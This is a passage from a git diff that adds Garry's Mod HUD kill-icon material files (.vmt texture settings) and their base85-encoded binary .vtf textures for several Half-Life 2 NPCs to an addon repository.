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 ayK`SPzy9%Y;o|kQ_0X?RzdkQBKmG#0+$skE literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vmt new file mode 100644 index 0000000..7d94436 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_headcrab_fast" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vtf new file mode 100644 index 0000000000000000000000000000000000000000..b51caa2192ddc17194f54ed95f49e06b0bb2448b GIT binary patch literal 5696 zcmeHKe@q*76o0*S!swtkpb?yCx0YX-&AP-kbcxcFp}GCB;q139hQ$K@h?NFLrm`6v zG*L4bv}`n6GBmh2qx|DE;SysM*2MqTY;(J;dK$2RPLyO*O8h}N-}i237LuhQWJH%< zb9a6BzTfxb^WOV@-`DGT6mkH7!Mg!(H~zp3IvxH8memz4PHrEsdU^Y)ig_3P1kh7! z#Ai-EK9Enp+B4j$d8)u`bjQ~e!< zpyBhNO!;Mr;1SiHrSk8M%+DrX4@uPCdbFofeyPQRQ`}}1zqf_a&IHmLj)n35P~6!j zX?QM`m!*|(Dlj0ND~|7K<0*hae(pM<2JIILG6A)UZS zteDbTeLOjd$`{)$u^NEhFH&O3Tk>^T{{0fo&z&e?%XR1c8)#A(>;3d^i2udvvAduE zXni!qO{A0-zfKUBKb`pz3Q}1%1nnM|S-GyMD9r%f^o) zpsknLe7LjnAz$e)kLu}uh1-W{s>c0H*n5^!>4SG#y!AKy)$;kC%g*53)$_G$uwRXq zAO2-w^Vdv(onUut0|@jO9N51ktrKg`QJVPt6GhlxNY3{im3tJtY*RYie0MW_kE!%f zqauHErP@D}rvDm#e=z)s;?E+wNjxuzBjxMvA3v0e_1h$BZ@};It=;czp)C!KzX=l} zoredo(ujffZ%n>Jl>em20eslPxNIX=h%Br15PYSMV}?`Yk?)Nu?5O0QJI~s?U|80_ zbEfPYnW3ZO>YL_Y zg-~7V;y@VjCSu;J*L3`zT|Jj;dujj3%#dO^a^dN=7l57zyThYo!&gGS6pf!#^Qoyd zqrGZ){UUi9KD$L|R?dfg zsPA*&KehThw<-O$$A2J`{l`I9RB@v}K7i--OygI|w?h4~o6i?3mA7<0)8!59Mm*?x kJ)64y{w&p>rPX@Z_Kz$cSv)8L*?ds?q1(Q`W~#S;0KsP=FaQ7m literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vmt new file mode 100644 index 0000000..1c35676 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_helicopter" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vtf new file mode 100644 index 0000000000000000000000000000000000000000..864719f03227d3233f42c7d072ac10df9e8adf7c GIT binary patch literal 5696 zcmeHL3rv$&6h8f1q=gmg6BuKouF9&S)CW_UE8sNN&DpSCN(2gmviV>SnVFAlHaH)f zK`RDL=G@rBVW{zy*los50zP2T%;_4yy6FaP&dJ86MZ}i7bN=#AB{7C+mSy2@{{H>$ zx&OWAeD|Dt&TYD7Dg*<7fVUa%Wc)xZ$Yl5%6dKt9lP+l`JeRa4>y0F80)8dOA}@dH5ei^z?=tGtkpo1u$EQugZ!w0CTb#i#Y_~#c@a;y3Eg3 z>rua=%R8r7?V>m|LEDzSKQRv8?kT?ySL0+IInjDCuC&%w2N83A z{@F||jt4o4zOKSYIY)mIv3DnTm5{z_@^`^*cX$%Lhf%(6dMvOdyLJt25f(;o@bilk zNS}-YVQnsTL!zTm5k;7p;Q_Q?Znp&VXY31D`{uEo0;(OInyjap1Q+rqE zZAF!IT8tkz?h6ZXvZ*gFpOL9m+PRx?Y{!iR*62TsR9*0ugq=b8%vTzZ8Daq{bF7xD zd?W8X$MqAn${&-y@CSY4>f7*XOdx(O7Hd!W>fV3QnY@CpQ9lLhQ9YM2?e_4av<0jp zdsK`KKF5tuwJq?h#(k*fwIfW<#x3-i=6C|@wd|hbzq>xYnEc_N@29=|_43#2KmT6* z$iQ@4{tJdpj)S-4!%(<7Sys1INBP3a+^ip%swWO`oDJj;KO0E-FaJAL0CVpE!ZU@E z0A@T`%#Zuxr2P7Si|=4qT6Syw01^4}Y3RUYzZVm3l+50oR`cyJd(M~L`5z>%PpLwj zkFm0Zu{580Y!@DuG+D$3s!wtLkmRQcpXl>Z0K@oP!X*aEzbGFzuPlHm-y#Gi_P zd1!wJXZa&wX7Tm2OSXu7baMZLr2nhJ&Hz6-Tp`+1{C7Rq-QMoFLpH&i!gdd(^TLp~ zifq^WKyuiOpFUHi#=@{eZq}JVyOD0hf>dOr^4H~^!w?FN4Ci#zsFE}84Z;Qus54h; zM9ir_z{q?>l)aL>c^7U;o1Pj!e7Ib~m(x@e+gn>-mar*xi1w@{E1lmEk8)6J7=i^K zcRtfL=?^28R0aAJWiIT14uvVz2ns+cFk2;rHbX9a>{~zj(1wH{zg_%QARn;@ZsOJY=E!pU8@%cW zlEWYIRTw_fgs$WJdDJC&EzVe=*DABBLPAuZ;CZaEwYEa^M{7nfT)R#Gu$NE_abI;sOe59zW}EH4?;qXcsi*j&e2e2S@=Ny1 z-HcrZyZL+DqBzpmo|BoK+A?Z$+*dCp)I@4w)~~AlX8%4zys7lfCbXB~e++Qd&#!$j zI(Ldb7UD;}XC3cHKJ||aFwp0h`_6tkN>7W`~_4x5#j&< literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vmt new file mode 100644 index 0000000..068f6e8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_manhack" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vtf new file mode 100644 index 0000000000000000000000000000000000000000..9ee5d918cad817b735bb7ddd31d9ee67d0110811 GIT binary patch literal 5696 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 I9ggq+0M4rlzyJUM literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vmt new file mode 100644 index 0000000..b7fca91 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_stalker" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vtf new file mode 100644 index 0000000000000000000000000000000000000000..9ffbc3137378bd5e20488b85076a98f9409728f5 GIT binary patch literal 5696 zcmdT|drVVT7(bL^uR>ina+N7$t&{*Rb#b#qMwFEeM}2ILKu%O8fc_$X;F-#ywHJ`*q5pO(%HgcippF^>0+=lQJ&Ro#hBi=K`U!z^YU?;X!Nm`BqlOB#%` zI%e3ohC*mn^jI5t>U13Em^aby;dbPd0v#zYFPDpD6`t^l@EsW(94tql`Odt&D_9%~ z^JC*#>Nam&%V!%>u*pG!}$LaY1p+YL8 z%7C9?SwsZG$02_P=8Xbx45a4T@zb6SlfF4uwoY*9!I|Hg_Qk6W!AZ*{4*mG{o?Iss z7#kdVa^`oY-|k+W`GC)Aap*5r;H5(4EWx2iXMSheE7Q7M()h8)pmrxb$<`;G=RSHrAOP5wn(YXRhmKn;6{wA>pRaE@8*pWXL|58uqSKTl%L%{ z_;qcyP4HQXP*>I?j%#NbK;BWb3^P7~?m}3<@eVbbG?#o11M7KiCA~f5~yN zAGj*dd44tKKaAj0?e;g(EPK5hz*cWJf44z_^oa@S$yXbVclk6y4EkQBwhZ%U=k;8r zsiuL=xH~Hn;(^eX>%3fDD2 zh=oABCNdo7%lw3jS0mxHqeC#FW>~VX(A+(Osxn2IAAHmQAEg z{#2%jf=E8)xFr2Z*MHXd$5%tX2y1U6cv;q>8XTLygYrj+ijz}S2fa~0LgP+NIj%ed z{?KH|(TztMs3%2AV*hw>fM*TQVmxfxulIE08x1pFCg0}?X8`_uW4zII5#`iQ84%AiS4y}SZs8Xpgwzpd-J>igM zqQu;Vry`#a7HDBltLk4FDA+WPcuvS#+p$!wKCJvOP; zRY$weeaIdeBIV9Qtzr{J?94D14)TRBZ_O ze^RGZ_GtdsjrRUsU0;53bygtMYdanb%f{5>+t~I!E;HoHYPPCOir$I^!cJRFNF3Og zOB|NZ>0WEbWJr;8mRoY|m;_!Z}d2eN#}>9Xuex z_aoC2Qe`Wma=pde!~T)r1$d+0KR#*v)9S;(AC^u|gZvNeIs0ojB>$Yfp6P}b`Ls88 zeS$^vM8SH|tQhEbbcy<5{_v#t>u!0RJ%0C!?fH;pX`JJ=@?!MZ`DSgdOru$wJt*Gc zc@25a=+MZi?5OMncgug;>vbV*abo^XKLgx1&}y}5c3;k|+}fsfBouTK?L7vV!u472NsKko@zXy zBKHSmoa09S{@`)@cXd3thc}S=-8xji#YvS?xK9*_|HE}7+vkzLvlaULAkYsDv^4wS Nc*)SXtMW%W|9||RzDEE6 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vmt new file mode 100644 index 0000000..d78946f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_strider" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git 